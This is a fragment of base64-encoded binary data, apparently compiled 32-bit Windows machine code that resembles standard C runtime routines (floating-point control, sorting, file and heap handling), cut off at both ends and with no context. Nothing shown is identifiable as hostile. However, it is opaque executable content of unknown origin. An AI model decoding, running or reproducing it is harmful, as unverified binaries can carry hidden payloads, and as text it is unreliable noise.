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LzlP/FUAxARD/1oPECIXAfhBX/7UI////U+iO/v//g8QMi4UI////i/iLtfz+//+LlQT///+Jhez+//+QO952NwPyibX0/v//O/NzJYuNAP///1NW/xVAMQEQ/5UA////i5UE////g8QIhcB+0zvedz2LhQj///+LvQD///8D8jvwdx9TVovP/xVAMQEQ/9eLlQT///+DxAiFwIuFCP///37bi73s/v//ibX0/v//i7UA////6waNmwAAAACLlQT///8r+jv7dhlTV4vO/xVAMQEQ/9aDxAiFwH/hi5UE////i7X0/v//ib3s/v//O/5yXomV6P7//4m95P7//zv3dDOL3ovXi7Xo/v//K9+KAo1SAYpME/+IRBP/iEr/g+4BdeuLtfT+//+LnfD+//+LlQT///+LhQj///873w+F+v7//4veiZ3w/v//6e3+//8D+jvfczKNpCQAAAAAK/o7+3Yli40A////U1f/FUAxARD/lQD///+LlQT///+DxAiFwHTZO99yL4u1AP///yv6O738/v//dhlTV4vO/xVAMQEQ/9aLlQT///+DxAiFwHTdi7X0/v//i5UI////i8eLnfz+//+LyivOK8M7wXw5O99zGIuF+P7//4mchQz///+JfIWEQImF+P7//4u9BP///zvyc0yLzou1AP///4mN/P7//+lq/f//O/JzGIuF+P7//4m0hQz///+JVIWEQImF+P7//4uN/P7//4u1AP///zvPcxWL14u9BP///+kr/f//i7UA////6waLvQT///+Lhfj+//+D6AGJhfj+//94FouMhQz///+LVIWEiY38/v//6fb8//9bi038XzPNXuhxJf//i+Vdw4v/VYvsUYtVFItNCFaF0nUNhcl1DTlNDHUhM8DrLoXJdBmLRQyFwHQShdJ1BIgR6+mLdRCF9nUZxgEA6NmO//9qFl6JMOgTjv//i8Zei+Vdw1Mr8YvYV4v5g/r/dRGKBD6IB0eEwHQlg+sBdfHrHooEPogHR4TAdAqD6wF0BYPqAXXshdKLVRR1A8YHAF+F21t1h4P6/3UNi0UMalDGRAH/AFjrp8YBAOhsjv//aiLrkYv/VYvsXelE////zMzMzMzMzMzMzFWL7FYzwFBQUFBQUFBQi1UMjUkAigIKwHQJg8IBD6sEJOvxi3UIi/+KBgrAdAyDxgEPowQkc/G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LwHQUMu2D+AJ0AvbV2cnZ4euv6bUCAADpSwMAAN3Y3djbLSCBARDGhXD///8Cw9nt2cnZ5JvdvWD///+b9oVh////QXXS2fHDxoVw////At3Y2y0qgQEQwwrJdVPD2ezrAtnt2ckKyXWu2fHD6VsCAADozwAAAN3Y3dgKyXUO2e6D+AF1BgrtdALZ4MPGhXD///8C2y0ggQEQg/gBde0K7XTp2eDr5d3Y6Q0CAADd2Om1AgAAWNnkm929YP///5v2hWH///8BdQ/d2NstIIEBEArtdALZ4MPGhXD///8E6dcBAADd2N3Y2y0ggQEQxoVw////A8MKyXWv3djbLSCBARDD2cDZ4dstPoEBEN7Zm929YP///5v2hWH///9BdZXZwNn82eSb3b1g////m4qVYf///9nJ2OHZ5JvdvWD////Z4dnww9nA2fzY2Zvf4J51GtnA3A1SgQEQ2cDZ/N7Zm9/gnnQNuAEAAADDuAAAAADr+LgCAAAA6/FWg+x0i/RWg+wI3Rwkg+wI3Rwkm912COhWCAAAg8QU3WYI3QaDxHRehcB0BenQAQAAw8zMzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7roEBENnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQ/yOAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u66BARDZ5YmVbP///5vdvWD////GhXD///8A2cmKjWH////Z5ZvdvWD////ZyYqtYf///9Dl0P3QxYrFJA/XiuDQ4dD50MGKwSQP19Dk0OQKxA++wIHhBAQAAIvaA9iDwxD/I+jOAAAA2cnd2MPoxAAAAOv23djd2Nnuw93Y3djZ7oTtdALZ4MPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////AMPGhXD///8A3AWegQEQw9nJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////Ad7Bw93Y3djbLYCBARCAvXD///8AfwfGhXD///8BCsn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